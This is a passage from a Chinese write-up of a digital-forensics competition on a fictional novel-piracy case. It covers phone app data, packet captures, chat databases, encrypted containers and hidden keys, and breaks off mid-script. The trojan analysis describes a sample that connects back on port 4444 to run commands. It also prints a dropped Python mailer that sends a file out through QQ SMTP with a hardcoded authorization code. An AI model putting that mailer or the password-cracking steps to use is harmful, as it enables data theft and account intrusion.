跳转至

第三届 龙信杯电子数据取证大赛 题解

Author

NoahTie @ tratra 什么都会

比赛信息

案情简介

本次龙信杯竞赛案情脱胎于 2025 年初的某地知名网络小说知识产权案, 涉案团伙通过非法爬取小说内容, 盗用其付费内容并投放至其自行开发的微信小程序, 通过观看广告非常牟利, 造成原平台巨额经济损失. 龙信受邀参与案件支撑并成功为司法机关提供了关键证据, 助力案件顺利告破.

本次龙信杯案情:

自 2023 年起, "终点小说"公司(以下统称"甲公司")发现, 张大运营的"芯龙小说"软件未获甲公司授权, 利用网络爬虫技术非法抓取、传播甲公司旗下多部热门小说. 涉案作品为甲公司独家授权并付费推广的优质内容, 甲公司依法享有信息网络传播权, 张大的行为已严重侵害甲公司及作者的著作权.

2025 年 10 月 22 日, 甲公司向张大发送律师函, 要求其立即停止侵权、删除全部侵权内容. 张大仅删除部分作品, 随后仍持续抓取、传播其他小说, 侵权行为具有连续性. 面对持续损害甲公司及作者权益和经济损失, 决定向公安机关报案, 揭露并制止这一恶劣的犯罪行为.

容器信息

容器密码: MjAyNS3oi4/lt57pvpnkv6E=

容器 MD5: 5b3020c1a3c725febdc8a8bc84f42909

写在前面

这次比赛的检材整体难度较高并且题量也较大, 比赛时做下来最大的感受是时间不够, 有很多地方来不及细想. 但至少不同的检材之间还是有连续的案情的(除了流量包之外). 检材之间也有少量交互, 但整体还是线性关联: 手机和服务器上都有一些计算机检材需要的信息.

手机取证部分单论自动分析工具(火眼)的分析情况来看, 相当有往年美亚杯的手机的感觉了, 应用几乎都不能自动解析, 需要靠查看应用数据进行手动分析.

计算机取证部分一部分题目有点离谱了, 在完全没有提示的情况下出了一道图片隐写, 不过好在和这部分相关的题目也就只有 1 道. 小说文本对照部分的题目完全可以交给 LLM Agent 自动解题. 整体难度算中等吧.

服务器部分太乱了, 感觉出题人在出提前没有想好要出什么, 导致东一块西一块.

流量部分考了入侵分析, 比较难的部分是 CS 流量分析.

手机取证

大致浏览一下安装的应用列表, 里面有雷电模拟器预装的应用, 是个从雷电模拟器提取的镜像.

顺便跑一下 APP 包名识别:

Pasted image 20251109174038.png

Package Name App Name Genre Source
com.baidu.appsearch 百度手机助手 应用商店 应用宝
com.zhulang.reader 逐浪小说 图书阅读 小米应用商店
com.bfengtech.diange.diangeapp 电鸽 聊天社交 小米应用商店
com.UCMobile UC浏览器-随心搜·免费看 实用工具 小米应用商店
com.ss.android.ugc.aweme 抖音 影音视听 小米应用商店(Cached)
com.lemon.lv 剪映 摄影摄像 小米应用商店
com.jiandan.terence.sneaker 微秘相册-原私密相册 摄影摄像 小米应用商店
com.baidu.newapp 文心-(文小言) 聊天社交 小米应用商店
com.yueyou.adreader 阅友免费小说 图书阅读 小米应用商店
com.shuqi.controller 书旗小说-海量图书 图书阅读 小米应用商店
com.moonshot.kimichat Kimi-K2长思考上线 实用工具 小米应用商店
com.tencent.mm 微信 聊天社交 小米应用商店(Cached)

需要注意的是其中的 com.jiandan.terence.sneaker(微秘相册-原私密相册).

01 请问机身的 Wi-Fi 信号源的物理地址

答案

00:db:60:6e:86:13

火眼有分析出来 2 条 WiFi 记录, 一条是雷电模拟器虚拟出来的 WiFi 连接(Cisco-MVlps), 一条是 AP 的信息:

Pasted image 20251109165429.png

WiFi 是有 MAC 地址的, AP 没有 MAC 地址, 但感觉题目在问的似乎是 AP 的 MAC 地址.

之后的分析已经知道这个镜像是从雷电模拟器的虚拟机提取的, 并且知道安卓系统的版本是安卓 9, 可以创建一个虚拟机验证答案. 以下是我从雷电模拟器的虚拟机提取的镜像中的文件与系统设置的对比:

已连接的虚拟 WiFi 的 MAC 地址与 BSSID 信息一致, 并未使用随机的 MAC 地址:

Pasted image 20251110201558.png

Pasted image 20251110201724.png

由于模拟器的设置是简化版的设置, 删除了一些 Activity 的入口, 因此需要通过类似 ActivityManager 的应用来直接启动设置 WLAN 热点的 Activity 才能看到热点密码的设置:

Pasted image 20251110201610.png

Pasted image 20251110202557.png

所以应该是题目描述有些模糊, 看题目描述还以为在问 AP 的 MAC 地址. 改成"手机连接的 WiFi 的 MAC 地址"就没有歧义了.

因此可以推断检材中 WiFi 实际的 MAC 地址为 /misc/wifi/WifiConfigStore.xml 中的 BSSID 00:db:60:6e:86:13:

Pasted image 20251110203600.png

02 请问张大的手机号码尾号是 3807 的手机号码

答案

15680193807

在 Kimi 的分析结果中能看到中间隐去 4 位的电话号码 156****3807:

Pasted image 20251109170840.png

用 XWF 加载解压出来的检材文件夹, 在同步搜索中用正则搜索:

Pasted image 20251110161217.png

在电鸽 APP 的配置文件里面存储有用户的手机号码:

Pasted image 20251110161310.png

XWF 的正则规则与 Perl 和 grep 一致, 可以参考: Regular expressions in grep with examples

03 通讯录中号码归属地最多的直辖市

答案

北京市

直辖市一共就几个, 挨个筛选一下, 明显北京的号码是最多的:

Pasted image 20251109172757.png

04 嫌疑人最近卸载过的的一款小说 APP 的名字

答案

七猫免费小说

在安卓的软件包缓存目录中可以看到软件包的缓存数据:

Pasted image 20251109174932.png

将其中的第三方包的条目导出为 CSV, 提取包名, 再运行一次 APP 识别, 发现其中有一个 com.kmxs.reader(七猫免费小说)

Pasted image 20251109174839.png

Package Name App Name Genre Source
com.UCMobile UC浏览器-随心搜·免费看 实用工具 小米应用商店(Cached)
com.baidu.appsearch 百度手机助手 应用商店 应用宝(Cached)
com.baidu.newapp 文心-(文小言) 聊天社交 小米应用商店(Cached)
com.bfengtech.diange.diangeapp 电鸽 聊天社交 小米应用商店(Cached)
com.jiandan.terence.sneaker 微秘相册-原私密相册 摄影摄像 小米应用商店(Cached)
com.kmxs.reader 七猫免费小说 图书阅读 小米应用商店
com.larus.nova 豆包 实用工具 小米应用商店(Cached)
com.lemon.lv 剪映 摄影摄像 小米应用商店(Cached)
com.moonshot.kimichat Kimi-K2长思考上线 实用工具 小米应用商店(Cached)
com.shuqi.controller 书旗小说-海量图书 图书阅读 小米应用商店(Cached)
com.ss.android.ugc.aweme 抖音 影音视听 小米应用商店(Cached)
com.tencent.mm 微信 聊天社交 小米应用商店(Cached)
com.tencent.mtt QQ浏览器-QBot AI智能体 实用工具 小米应用商店(Cached)
com.yueyou.adreader 阅友免费小说 图书阅读 小米应用商店(Cached)
com.zhulang.reader 逐浪小说 图书阅读 小米应用商店(Cached)
sogou.mobile.explorer 搜狗浏览器极速版 实用工具 小米应用商店

另外还可以看到有 sogou.mobile.explorer(搜狗浏览器极速版) com.larus.nova(豆包) com.tencent.mtt(QQ浏览器-QBot AI智能体)被删除.

05 嫌疑人使用"逐浪小说"应用最近一次搜索小说书名

答案

从斗罗开始无敌

解法 1: 通过应用数据库

设备上安装有 HttpCanary, 一个安卓平台(现在也有 Windows 平台版本)的抓包工具, 主要捕获 HTTP/HTTPS 协议流量:

Pasted image 20251110102501.png

在设备的用户自定义证书存储目录中也可以看到安装有 HttpCanary 的根证书:

Pasted image 20251110103026.png

在 HttpCanary 的数据目录 /data/com.guoshi.httpcanary/databases 中的数据库 app 中存放着抓包的历史记录, 其中:

  • CAPTURE_SESSION 存储着用户每次运行抓包捕获到的包的 UUID
  • HTTP_CAPTURE_RECORD 中保存着抓到的每个包的信息

Pasted image 20251110104055.png

可以看到, 其中的 APP 字段是该流量包是哪个 APP 包名传输的.

APP 字段中中过滤 com.zhulang.reader 包名, 在 URL 字段中过滤 search:

Pasted image 20251110110817.png

将数据库中访问的 URL 复制出来, 在 Cyberchef 里面处理(URL 解码, 正则匹配查找关键词):

Pasted image 20251110110924.png

数据库中越靠后的条目创建时间越晚, 也可以根据 TIME 字段的时间戳来判断.

解法 2: 通过缓存

这道题也可以通过查看 HttpCanary 存储在 /media/0/Android/data/com.guoshi.httpcanary/cache 目录的缓存完成.

在逐浪小说的官网搜索一下, 看看访问的 URI:

Pasted image 20251109190301.png

去缓存里搜索 /search/index.html:

Pasted image 20251109190329.png

搜索这几个文件:

http_req_ea384113-d336-438a-a50d-ae3094ebf18e.hcy

Pasted image 20251109190845.png

http_req_1b0f44e9-0bda-43b7-9177-caffc84c56a4.hcy

Pasted image 20251109191010.png

http_req_79656dfd-1c6e-4841-96cd-8fadef089218.hcy

Pasted image 20251109191111.png

http_req_5221af36-35a0-44e8-812b-8451a81f2690.hcy(最新)

Pasted image 20251109191149.png

http_req_1b59c69c-7e4b-472e-ba63-badc5af0e8c3.hcy

Pasted image 20251109191300.png

URL 解码:

Pasted image 20251109191351.png

06 嫌疑人曾使用"QQ 浏览器"使用过的搜索关键词有几个

答案

27

参考第 4 题的分析, 设备上曾经安装过 QQ 浏览器, 但是已经被删除. 因此数据目录也应该被清除了.

在该字段中过滤 QQ 浏览器的包名 com.tencent.mtt:

可以看到用户使用的搜索引擎是搜狗 m.sogou.com, 可以访问一下移动端的搜狗看一下搜索的 URI 和关键词的 GET 参数名是什么, 发现访问的路由是 /web/SearchList.jsp, GET 请求的参数是 keyword. 据此, 在数据库中过滤:

Pasted image 20251110105022.png

把数据库里访问的 URL 复制出来, 在 Cyberchef 里面处理(URL 解码, 正则匹配查找关键词, 去重):

Pasted image 20251110162949.png

一共搜索过 27 个不同的关键词.

这道题也可以通过查看 HttpCanary 存储在 /media/0/Android/data/com.guoshi.httpcanary/cache 目录的缓存完成, 但这样的话缺失了 HTTP 流量来源应用的信息, 不是很严谨.

07 嫌疑人曾经安装过的一款 AI 软件登录的用户名

答案

用户885861

题目中专门表明"曾安装", 也就是现在已经删除的应用. 参考第 4 题的分析, 设备上还有 com.larus.nova(豆包)被删除, 符合题目的描述.

在 HttpCanary 的数据库中过滤 APP 字段, 发现有豆包 APP 的流量:

Pasted image 20251110111228.png

浏览几条流量, 发现请求的参数中都包含 user_is_login, 值为 0 或 1, 推测是标识用户是否登录. 在 URL 字段中过滤 user_is_login=1, 找到登录后发送的第一个请求, SESSION_ID89fb4e70-fdd6-424f-8cdd-b965f576a7b8:

Pasted image 20251110111929.png

这里可以看到 UID 是 1197846826330169, 但是看不到用户名. 需要去 HttpCanary 的缓存目录中寻找完整的响应包. 在目录中搜索获得的 UID. 由于 URL 中也包含 UID, 观察响应体的 JSON 可以发现, 服务端返回的 UID 是字符串的形式, 因此可以在搜索时为 UID 的前后加上英文的引号, 排除仅 URL 包含 UID 的文件:

Pasted image 20251110113206.png

08 接上问, 嫌疑人在此 AI 软件中最后一次提问的内容

答案

小说爬取会侵权嘛

接上题. 翻看一些包含 UID 的响应包, 发现了对用户问题的回答:

Pasted image 20251110113817.png

根据文件名在数据库中找到对应的请求, 找到请求的 URL 为 https://api-normal.doubao.com/im/chain/single:

Pasted image 20251110113924.png

在数据库中过滤该 URL, 找到最后一条请求:

Pasted image 20251110114029.png

在缓存中搜索文件名与该请求的 SESSION_ID 一致的文件:

Pasted image 20251110114148.png

一个是请求, 一个是响应, 查看响应. 然而这个包是空的, 只有豆包的推荐内容.

再往前看一条:

Pasted image 20251110114502.png

Cyberchef 格式化一下 JSON:

Pasted image 20251110115113.png

可以看到用户提问的内容是"小说爬取会侵权嘛", 而且是通过语音提问的(问题内容出现在 tts_content 中).

09 嫌疑人花费多少元购买小说网站源码

答案

1300

参考第 4 题, 设备中安装有即时通讯软件 com.bfengtech.diange.diangeapp(电鸽), 可惜火眼目前还没有该应用的解析插件, 只能手动分析了.

在数据目录可以看到包含"flutter"字样的文件夹, 推断该应用使用了 Flutter 框架. 在 Flutter 应用中, Flutter 框架内部的数据保存在 app_flutter 目录中. 在该目录中存放着 APP 的数据库 OpenIM_v3_uid_1757820856679172.db.

数据库中一共有 2 个包含消息记录的表. 其中一张表中可以看到关于购买网站源码的记录:

Pasted image 20251110131339.png

10 接上问, 嫌疑人购买的小说网站源码的 MD5 值

答案

5a312a2cd50493f908a4f905f2d9ed2d

接上题, 这里发送了 4 个非文本的消息, 第 1 条是软件内置的表情包, 后 3 条均为文件:

Pasted image 20251110131750.png

可以在应用的数据目录 /media/0/Android/data/com.bfengtech.diange.diangeapp/files/diange/files/ 中找到这些文件:

Pasted image 20251110131835.png

然而这些文件还有另外一种获取方式. 由于电鸽的 API 并没有对访问做任何鉴权, 只要拿到文件的 URL, 任何人都可以直接下载这些文件:

Pasted image 20251110132241.png

并且 URL 中没有任何混淆或哈希处理, 格式为 https://v3.api.production.diangeapp.com/api/object/uid_<上传文件的用户的 UID>/<文件名>, 存在路径枚举及未授权访问的漏洞. 真好, 打取证比赛顺便还报了个漏洞.

算一下文件的哈希:

Pasted image 20251110135433.png

11 嫌疑人的虚拟钱包地址

答案

0x2a80985eea4283fdebddc5ec25c15d8cb5bcc09f

在另外 1 个聊天记录表里:

Pasted image 20251110131153.png

可以拿到卖家的钱包地址为 0x099097e9497de4de96effccd9f5ccb76822095d2.

使用的虚拟货币是 USDT, 去 TokenView 查一下这个地址:

可以看到疑似与嫌疑人的钱包地址转账的记录(复盘时是比赛后的第 2 天, 2025-11-10 14:00 左右):

Pasted image 20251110135959.png

查看转入的那条交易的信息:

Pasted image 20251110140056.png

嫌疑人表示钱已转过去时是 2025-10-23 09:50:22, 转账发生在 2025-10-23 09:47:23, 交易记录与聊天记录的时间先后顺序也能对上:

Pasted image 20251110140208.png

紧挨着的转出交易, 卖家又将收到的虚拟货币通过 Coinhako(一个新加坡的虚拟货币交易平台)卖出, 时间是 2025-10-23 09:57:11:

Pasted image 20251110140532.png

12 嫌疑人购买视频网站源码花费了多少 USDT

答案

1000

参考上题.

13 其接受过一个远控木马程序, 请问其 MD5 值

答案

f3399f9b9ede9601edb648a2abe4a090

参考第 10 题. 远控木马明显是在 yuankong(123456,不要在本机运行).zip 中, 解压得到 1 个 PE 文件(拿到疑似恶意程序的第一件事: 修改扩展名, 以防误运行):

Pasted image 20251110141107.png

奇怪的是火绒这次居然没有报毒, 根据后续的分析判断, 这个程序其实不具有恶意功能, 只是模仿了一些远控的行为.

Pasted image 20251110141311.png

14 接上题, 该 exe 使用了哪种压缩方式

答案

UPX

PE 的压缩方式第一反应就是 UPX. 用 DIE 查看信息:

这里可以看到一些不太正常的结果:

Pasted image 20251110141455.png

首先, DIE 识别出来了 UPX 的特征, 但是没能确定具体的版本, 只能根据特征判断是 UPX >= 3.91.

其次, Heur 识别出来了 PE 文件被打包, EntryPoint(Load 指令)和导入表很像 UPX, 但 UPX 的节是损坏了的, 变成了 VMP, 并且在 rsrc 节中是被压缩的数据.

到这里, 很像前两年西电的 MoeCTF 里出过的一道题, 也是对 UPX 压缩的 PE 进行了修改, 但是那道题是修改了 Load 指令的部分, 导致 DIE 查出来类似的报错.

010 Editor 打开, 跑一下 PE 文件的模板:

Pasted image 20251110142331.png

Section Header 明显是被改过了, 把 UPX 改成了 VMP, 顺便还能看到 UPX 的具体版本是 4.10.

15 接上题, 该 exe 使用的压缩方式修改了几处特征

答案

3

见上题.

16 接上题, 该 exe 外联的端口号

答案

4444

接上题.

VMP 改回 UPX. 改完之后再跑一次模板, 一切正常:

Pasted image 20251110142547.png

用 UPX4.10 去壳:

Pasted image 20251110143524.png

如果这里因为之前在 DIE 中看到了 Pyinstaller 的特征直接去用 Pyinstxtractor 解包的话, 可以直接解出来 rsrc 里的另外 1 个 PE 文件, 也就是之后提到的被释放出来的 exe, 这个释放出来的文件才是 Pyinstaller 打包的. 而原本的 PE 文件并非 Pyinstaller 打包的.

使用 IDA 加载去壳后的文件, 找到 main 函数. 可以看到应用创建了一个新的线程:

Pasted image 20251110144308.png

跟进新线程的函数 post_pgo_initialization, 里面也是调用了一个函数, 继续跟进 sub_1400019B0:

Pasted image 20251110144511.png

开了个 Socket 连接, ip 地址是 192.168.93.129, 端口是 4444. 之后看起来会远程接受 Socket 传入的数据, 作为命令通过 cmd 执行:

Pasted image 20251110144825.png

但是感觉代码写的不太对劲, 执行命令的代码全放在 while 循环的外面了, 也就是只有 Socket 连接断前最后一次传输的指令才会被运行. 而且 main 里面刚创建完 Socket 通信的线程就给 CloseHandle 了...

17 接上题, 该 exe 会搜索并加密几种类型的文件

答案

3

在字符串视图里可以看到相关的文件扩展名:

Pasted image 20251110145329.png

找到调用字符串的函数:

Pasted image 20251110145418.png

呃...创建了个 C:\\test\\EncryptedDocs 目录, 然后在函数参数 a1 传入的目录里递归遍历文件, 如果文件名的符合 *.doc *.xlsx *.docx 格式, 则用 sub_140001230 函数处理文件. 而 sub_140001230 的功能是, 将文件的原本内容复制到参数 a1 目录中, 添加 .enc 扩展名. 我算是知道为啥火绒没报毒了.

18 接上题, 该 exe 会释放一个新的 exe, 请问新的 exe 是用哪种编程语言编写的

答案

Python

主函数中的 sub_1400017B0 函数用于加载资源并将 EXE 资源写入到 %TEMPDIR%/mail.exe 目录中. 接着运行该程序.

可以使用 010 Editor 直接导出该应用:

Pasted image 20251110151024.png

用 DIE 查看信息:

Pasted image 20251110151111.png

19 接上题, 释放出的 exe 使用的邮件服务器的授权码

答案

qycirqwzxogjdgbh

接上题. 使用 Pyinstxtractor 解包:

Pasted image 20251110151234.png

根据解包过程中的信息, 程序的入口点应该是 test.pyc.

用 Pylingual 反编译 test.pyc, 得到源码:

Python
import itertools
import hashlib
import string
import sys
from math import gcd
from Crypto.Util.number import *
import gmpy2
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
from email.header import Header
import os

def send_email(sender, password, receiver, subject, body, attachment_path=None, smtp_server='smtp.qq.com', smtp_port=465):
    """
    发送带附件的邮件
    :param sender: 发件人邮箱
    :param password: 发件人邮箱授权码(不是登录密码)
    :param receiver: 收件人邮箱(字符串或列表)
    :param subject: 邮件主题
    :param body: 邮件正文
    :param attachment_path: 附件文件路径(可选)
    :param smtp_server: SMTP 服务器地址
    :param smtp_port: SMTP 端口(默认 465 SSL)
    """
    message = MIMEMultipart()
    message['From'] = Header(sender)
    message['To'] = Header(receiver if isinstance(receiver, str) else ', '.join(receiver))
    message['Subject'] = Header(subject, 'utf-8')
    message.attach(MIMEText(body, 'plain', 'utf-8'))
    if attachment_path and os.path.exists(attachment_path):
        with open(attachment_path, 'rb') as f:
            part = MIMEApplication(f.read())
            part.add_header('Content-Disposition', 'attachment', filename=os.path.basename(attachment_path))
            message.attach(part)
    elif attachment_path:
        print(f'⚠️ 附件路径不存在:{attachment_path}')
    try:
        with smtplib.SMTP_SSL(smtp_server, smtp_port) as smtp:
            smtp.login(sender, password)
            smtp.sendmail(sender, receiver if isinstance(receiver, list) else [receiver], message.as_string())
            print('✅ 邮件发送成功!')
    except Exception as e:
        return None
if __name__ == '__main__':
    sender_email = '2934235261@qq.com'
    sender_auth_code = 'qycirqwzxogjdgbh'
    receiver_email = sys.argv[1]
    attachment_path = sys.argv[2]
    send_email(sender=sender_email, password=sender_auth_code, receiver=receiver_email, subject='Python 自动发送邮件测试', body='你好,这是一封 Python 自动发送的测试邮件。\n附件请查收。', attachment_path=attachment_path, smtp_server='smtp.qq.com', smtp_port=465)

很明显功能就是发送邮件.

20 嫌疑人发布的抖音作品是参考哪篇文学巨著生成的

答案

钢铁是怎样炼成的

在抖音的分析结果中可以看到几条发布的作品, 查看之后发现内容是小说:

Pasted image 20251110152227.png

在 Kimi 的分析结果中, 可以看到用户用 Kimi 生成的小说原文, 是参考《钢铁是怎样炼成的》生成的:

Pasted image 20251110152509.png

21 嫌疑人通过抖音发布了几个作品

答案

5

见上题.

22 接上题, 作品 ID 为 7564293625007115554 的观众浏览量为

答案

23

用作品 ID 在抖音的数据目录中爆搜:

Pasted image 20251110170657.png

找到的文件里面是 JSON 格式的数据, 用 VSCode 打开, 再次搜索, 翻了一会儿找到了:

Pasted image 20251110170623.png

23 嫌疑人相册中的图片为其非法所得, 是多少(不考虑重复)

本题暂无答案

本题暂无答案

一堆图片...找找有没有比较好的统计方法.

24 嫌疑人电脑的开机密码

答案

qwe321@@@

设备中还有 1 个没有识别出来的应用, 看包名是个备忘录 APP:

Pasted image 20251110171234.png

在应用的数据目录中可以看到电脑密码和 BitLocker 密码:

Pasted image 20251110171348.png

计算机取证(Windows)

01 PowerShell 中多少个命令包含 URL 地址

答案

5

火眼的终端历史记录分析结果中, 搜索"http":

Pasted image 20251111150834.png

02 VeraCrypt 加密容器密码

答案

UJw4FspAsmNVRACWf4GQazvd

容器很好找, 不管是查找检材中的大文件, 用火眼的特征分析, 还是跟我一样习惯性地先浏览用户文件夹, 都可以找到加密容器:

Pasted image 20251111151413.png

容器的密码在剪贴板的固定项中, 需要仿真后按下 Win + V 才能看到:

Pasted image 20251111152327.png

Windows 剪切板的数据不会保存, 在关机后会清空. 但剪切板中的固定项会被保存下来. 数据的保存目录是 C:/Users/Administrator/AppData/Local/Microsoft/Windows/Clipboard/Pinned/, 但是数据被加密:

Pasted image 20251111153014.png

我查到的资料说这部分文件加密使用的算法是 Windows CryptoAPI 里的 CNG 算法, 使用的参数包括用户的 SID, 用户密码, MasterKeyFile(存储在 /Users/Administrator/AppData/Roaming/Microsoft/Crypto/Keys 目录)但是目前还没有成功解密.

03 加密容器中"密码本.txt"文件的 SHA-256 哈缩希值

答案

4fc75a56a7c3e08b3f6d1c018d366a9139422b4c3c09f367dd64aca2b18e3fc7

挂载 VeraCrypt 容器之后, 用 FTK Imager 或火眼加载容器卷, 在回收站中可以看到密码本文件:

Pasted image 20251111162130.png

导出之后计算哈希值:

Pasted image 20251111162319.png

04 接上题, 分析其账单数据中哪个类别的金额最多

答案

小说网站

用密码本中的口令爆破 VC 容器中的"账单数据.zip".

zip2john 导出哈希:

Pasted image 20251111162628.png

编辑导出的哈希, 去掉首尾的文件名和冒号. HashCat 爆破:

Pasted image 20251111163034.png

得到解压密码是 VteGElLDQu. 或者也可以用 Passware, 添加一下字典就行.

解压之后里面有 30 个 Excel 表格文件, 比较多, 内容大概是:

Pasted image 20251111163325.png

这里提供 2 种统计的方法.

第一种

本地起一个 mysqld, Navicat 连接, 使用导入功能从 Excel 导入数据. 建议可以先导入 1 个表格, 自动创建好表结构. 之后再将其余表格数据导入到这张创建好的表中.

查一下每类的金额总和:

Pasted image 20251111164340.png

第二种

用弘连的网矩数据分析工具.

讲整个解压出来的文件夹导入, 文件预处理完成后选择合并文件, 使用图表功能生成柱状图:

Pasted image 20251111164822.png

Pasted image 20251111164856.png

05 Bitlocker 的恢复密钥

答案

541079-719906-009438-610390-527406-567622-466598-347765

这道题是真的想不到...

和 VC 容器放在一起的还有几个图片文件, 其中的 3.png 的文件头是 webp 的文件头, 但是 magika 能识别到 PNG 的特征, binwalk 跑了一下里面塞了张 PNG 图片:

Pasted image 20251111171459.png

打开的时候 IrfanView 报错了, 但是其他查看器又能打开, 应该是 CRC 校验没过:

Pasted image 20251111171531.png

Pasted image 20251111171624.png

跑一下 PNG 宽高检查, 发现真实的高度应该是 442 像素:

Pasted image 20251111171638.png

修改高度:

Pasted image 20251111171750.png

里面隐写了个 BitLocker 的恢复密钥:

Pasted image 20251111171840.png

06 嫌疑人使用的 Windows 激活工具的版本

答案

4.2.8

用手机部分找到的密码或上道题找到的恢复密钥都可以解密计算机的 D 盘的 BitLocker. 在 /Program Files/AAct/ 目录下是一个激活工具. 目录中包含一张截图, 可以看到版本号是 4.2.8:

Pasted image 20251111173909.png

AAct.exe 的属性中也可以看到:

Pasted image 20251111174209.png

07 嫌疑人电脑中安装有除 VeraCrypt 之外的加密软件, 其版本是多少

答案

1.17.1

C:/Program Files/Cryptomator/Cryptomator.exe 安装了 1 个加密工具(看应用名称大概就能猜出来):

Pasted image 20251111174642.png

在仿真系统中运行, 查看关于信息:

Pasted image 20251111174816.png

C:/Program Files/Cryptomator/app/Cryptomator.cfg 文件中也可以看到应用的具体版本:

Pasted image 20251111175049.png

08 接上题, 该加密软件恢复秘钥文件最后一个单词

答案

accent

WPS 文件访问记录中有一个"恢复密钥.docx":

Pasted image 20251111165138.png

其中有一堆单词, 最后几个单词被设置成白色, 又是隐写:

Pasted image 20251111180823.png

在仿真系统中运行 Cryptomator, 使用恢复密钥重置保险保险库的密码:

Pasted image 20251111181016.png

之后用重置后的密码解锁并挂载保险库:

Pasted image 20251111181133.png

09 mysql 数据库的存储路径

答案

D:/phpstudy_pro/Extensions/MySQL5.7.26/data/

火眼的 MYSQL 解析分析结果里面可以看到数据库的存储路径:

Pasted image 20251111181432.png

10 对比数据库与爬取小说数据, 数据库中缺少的小说其共有多少章节

答案

3

直接使用火眼的数据库解析工具解析 MySQL 数据库, 可以看到数据库内 chapters 表内共 958 行数据:

Pasted image 20251111191646.png

爬取的小说数据内有 961 个文件, 每个文件都是 1 个章节:

Pasted image 20251111191619.png

11 嫌疑人爬取的小说共有多少汉字(包括繁体汉字, 不计标点符号)

答案

2946354

这道题及之后的几道题目使用 Cline + GLM-4.6 完成.

System Prompt:

Markdown
你将为用户提供 Python 代码编写和数据分析的支持. 在编写代码时, 需要注意:

- 不要生成注释
- 不要生成不必要的输出
- 严格遵守用户的功能需求
- 如果用户对概念的定义与实际定义有区别, 遵守用户给出的定义
- 编写的代码尽量遵守 Python 代码规范, 并且 Pythonic

Prompt:

Markdown
统计当前文件夹及其子目录内所有txt文件中说共有多少汉字(包括繁体汉字,不计标点符号)

生成的代码:

Python
import os
import re
from pathlib import Path

def is_chinese_char(char):
    code_point = ord(char)

    if 0x4e00 <= code_point <= 0x9fff:
        return True
    if 0x3400 <= code_point <= 0x4dbf:
        return True
    if 0x20000 <= code_point <= 0x2a6df:
        return True
    if 0x2a700 <= code_point <= 0x2b73f:
        return True
    if 0x2b740 <= code_point <= 0x2b81f:
        return True
    if 0x2b820 <= code_point <= 0x2ceaf:
        return True
    if 0xf900 <= code_point <= 0xfaff:
        return True
    return False

def count_chinese_in_text(text):
    count = 0
    for char in text:
        if is_chinese_char(char):
            count += 1
    return count

def count_chinese_in_file(file_path):
    try:
        with open(file_path, 'r', encoding='utf-8') as f:
            content = f.read()
            return count_chinese_in_text(content)
    except UnicodeDecodeError:
        try:
            # 尝试其他编码
            with open(file_path, 'r', encoding='gbk') as f:
                content = f.read()
                return count_chinese_in_text(content)
        except Exception as e:
            print(f"无法读取文件 {file_path}: {e}")
            return 0
    except Exception as e:
        print(f"读取文件 {file_path} 时出错: {e}")
        return 0

def scan_directory(directory):
    txt_files = []
    directory_path = Path(directory)

    for file_path in directory_path.rglob("*.txt"):
        txt_files.append(file_path)

    return txt_files

def main():
    current_dir = "."
    txt_files = scan_directory(current_dir)  

    total_chars = 0
    file_stats = []

    for file_path in txt_files:
        char_count = count_chinese_in_file(file_path)
        total_chars += char_count
        file_stats.append((file_path, char_count))

    print(f"总计: {total_chars:,} 个汉字")
    print(f"涉及文件数: {len(txt_files)} 个")

    dir_stats = {}
    for file_path, char_count in file_stats:
        dir_name = file_path.parent.name
        if dir_name not in dir_stats:
            dir_stats[dir_name] = 0
        dir_stats[dir_name] += char_count

    for dir_name, char_count in sorted(dir_stats.items()):
        print(f"{dir_name}/: {char_count:,} 个汉字")

if __name__ == "__main__":
    main()

运行结果:

Pasted image 20251111192354.png

在无法使用 LLM 的情况下可以在终端中运行:

Bash
cat ./*/*.txt > all.txt

将所有目录中的 txt 文件的内容整合到 1 个 txt 文件中. 使用任意编辑器打开这个 txt 文件, 通过替换功能将所有的中文全角标点( · )删除.

再用 Word 等文字编辑工具查看文件的中文字符数统计:

Pasted image 20251111193932.png

12 嫌疑人为躲避侵权, 将爬取文本中多个不同汉字分别替换成另一些汉字(如"我" -> "窝"), 分析共有多少个不同汉字被替换(相同字仅计一次)

答案

5

Prompt:

Markdown
对比 @/爬取-原本 和 @/爬取-替换 中对应txt文件中共有多少个不同汉字被替换(相同字仅计一次)

生成的代码:

Python
import os
from pathlib import Path

def is_chinese_char(char):
    code_point = ord(char)
    if 0x4e00 <= code_point <= 0x9fff:
        return True
    if 0x3400 <= code_point <= 0x4dbf:
        return True
    return False

def count_unique_replacements():
    original_dir = "爬取-原本"
    replaced_dir = "爬取-替换"

    all_replacements = set()
    files_with_replacements = 0

    for original_file in Path(original_dir).rglob("*.txt"):
        relative_path = original_file.relative_to(Path(original_dir))
        replaced_file = Path(replaced_dir) / relative_path

        if not replaced_file.exists():
            continue

        try:
            with open(original_file, 'r', encoding='utf-8') as f:
                original_content = f.read()
            with open(replaced_file, 'r', encoding='utf-8') as f:
                replaced_content = f.read()
        except:
            continue

        replacements = set()
        min_length = min(len(original_content), len(replaced_content))

        for i in range(min_length):
            orig_char = original_content[i]
            repl_char = replaced_content[i]

            if orig_char != repl_char and is_chinese_char(orig_char) and is_chinese_char(repl_char):
                replacements.add((orig_char, repl_char))

        if replacements:
            files_with_replacements += 1
            all_replacements.update(replacements)

    unique_original_chars = set(orig for orig, repl in all_replacements)

    return len(unique_original_chars), len(all_replacements), files_with_replacements, all_replacements

def main():
    unique_chars_count, total_replacements, files_count, all_replacements = count_unique_replacements()

    print(f"被替换的不同汉字数量: {unique_chars_count}")
    print(f"总替换组数: {total_replacements}")

    print("\n具体替换关系:")
    replacement_dict = {}
    for orig, repl in all_replacements:
        if orig not in replacement_dict:
            replacement_dict[orig] = []
        replacement_dict[orig].append(repl)

    for orig_char in sorted(replacement_dict.keys()):
        repl_chars = replacement_dict[orig_char]
        if len(repl_chars) == 1:
            print(f"  {orig_char}{repl_chars[0]}")
        else:
            print(f"  {orig_char}{', '.join(repl_chars)}")

if __name__ == "__main__":
    main()

运行结果:

Pasted image 20251111192704.png

在无法使用 LLM 的情况下, 这道题也可以用 UltraCompare 等工具对目录进行比对, 并将比对结果输出为 JSON 格式文件, 再用 Python 进行进一步分析.

13 对比爬取数据与替换数据, 被替换汉字(不去重)数量最多的文件名称是什么?

答案

第0062章.txt

Prompt:

Markdown
对比爬取数据与替换数据,被替换汉字(不去重)数量最多的文件名称是什么?

生成的代码:

Python
import os
from pathlib import Path

def is_chinese_char(char):
    code_point = ord(char)
    if 0x4e00 <= code_point <= 0x9fff:
